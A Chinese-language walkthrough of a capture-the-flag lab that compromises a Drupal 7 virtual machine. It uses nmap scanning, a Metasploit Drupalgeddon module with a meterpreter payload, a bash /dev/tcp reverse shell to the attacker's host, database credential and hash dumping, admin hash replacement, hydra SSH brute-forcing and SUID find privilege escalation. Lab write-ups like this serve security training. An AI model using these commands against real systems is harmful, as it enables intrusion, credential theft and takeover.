一,下载资料
链接:https://pan.baidu.com/s/1rnWguSRN_kA6iP8XMdoapg
提取码:jkpr
二,环境搭建:靶机:192.168.43.198
攻击机kali:192.168.43.148
三,信息收集
(1)扫描网络当中活跃主机:nmap -sP 192.168.43.0/24 -oN nmap.sP
(2)扫描端口服务:nmap -A 192.168.43.198 -p 1-65535 -oN nmap.A
端口开放了: 22 80
(3)访问80端口:http://192.168.43.198
发现站点是:drupal site 版本 CMS
CMS 都是开源的,可能有公开漏洞
Drupal wordpress joomla 三大CMS框架
(4)目录扫描dirsearch -u http://192.168.43.198
(5)访问:http://192.168.43.198/UPGRADE.txt
发现站点版本内核:7.xdrupal漏洞,站点是开源的,可以去百度查找爆出的相关漏洞。
(6)利用百度搜索:drupal 7.x版本
能够找到相关的漏洞
(7)利用msf搜索:search drupel
(8)利用该模块利用 Forms API 中的 Drupal 属性注入。影响版本
Drupal 6.x、< 7.58、8.2.x、< 8.3.9、< 8.4.6 和 < 8.5.1 易受攻击。
输入命令:use 4
输入命令:set rhosts 192.168.43.198
输入命令:set payload 双击Tab按键 可以选择攻击载荷
输入命令:set payload php/meterpreter/reverse_tcp
(9)会话建立完毕
权限很低
- 四,系统层面
(1)查看flag1.txt
翻译是:每个好的CMS都需要一个配置文件-你也一样。
(2)查看配置文件
啥也没有。
(3)看看数据库的文件cat settings.php
Flag2出现了。同时发现数据库是:
(4)建立连接
(5)看看数据库3306端口开放没有,开放了—是支持本地连接。
看看是不是可以登录:mysql -uduser -PR0ck3t
由于是有API属性进入的系统,无法连接。
(6)做持久性连接—kali本地监听-反弹shell
(7)做反弹shell命令: bash -i >& /dev/tcp/192.168.43.148/6666 0>&1
失败:
Bin/sh -i >& /dev/tcp/192.168.43.148/6666 0>&1
还是失败:
(8)进入交互式shell命令:python -c 'import pty;pty.spawn("/bin/bash")'
交互成功!
(9)在进行反弹shell: bash -i >& /dev/tcp/192.168.43.148/6666 0>&1
(本地反弹成功):登录mysql -udbuser -pR0ck3t
登录成功
Show databases;
Use drupaldb;
(10)查看内容users : select * from where 2;
用户1: admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
用户2:Fred $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
思路:
- 估计有点难破解:
- 已知密码的密文-将原来的密码给覆盖掉
(1)采用第二条方法:生成个密码的密文
php script/password-hash.sh ajest //生成密码为ajest密码的密文
在插入数据库中:
得出密文:$S$DffogqqP0XZZTCbIRBR6zYheQZPgLYm/YKqBekUJtSR8f17BVzrs ajest
(2)数据库hash值替换:
:update users set pass=”$S$DffogqqP0XZZTCbIRBR6zYheQZPgLYm/YKqBekUJtSR8f17BVzrs” where uid=1;
更换成功:
(3)登录后台试一试; 用户:admin 密码:ajest
(4)成功找到flag3了
(5)回到系统输入命令:cat /etc/passwd
(6)发现Flag4可以hydra爆破试一试:hydra -l flag4 -P ssh.txt
爆破成功
Flag4 密码:orange
(7)本地登录
orange
登录成功,进去之后,发现是“$”,而不是“#”,没有权限
(8)检查SUID标识
输入命令:find/ -perm -4000 2>/dev/null
(9)find ./ aaa -exec '/bin/sh' \; //利用find进行提权
这就拿到了主机的root权限
总结:
1,根据80端口-进入www-data用户权限—搜索数据库 -进入后台管理员-搜索有用信息
2暴力破解SSH-替换hash值-再去收集有用信息 ls -a 敏感文件 sudo -l history命令
3提权:find ./ aaa -exec '/bin/sh' \;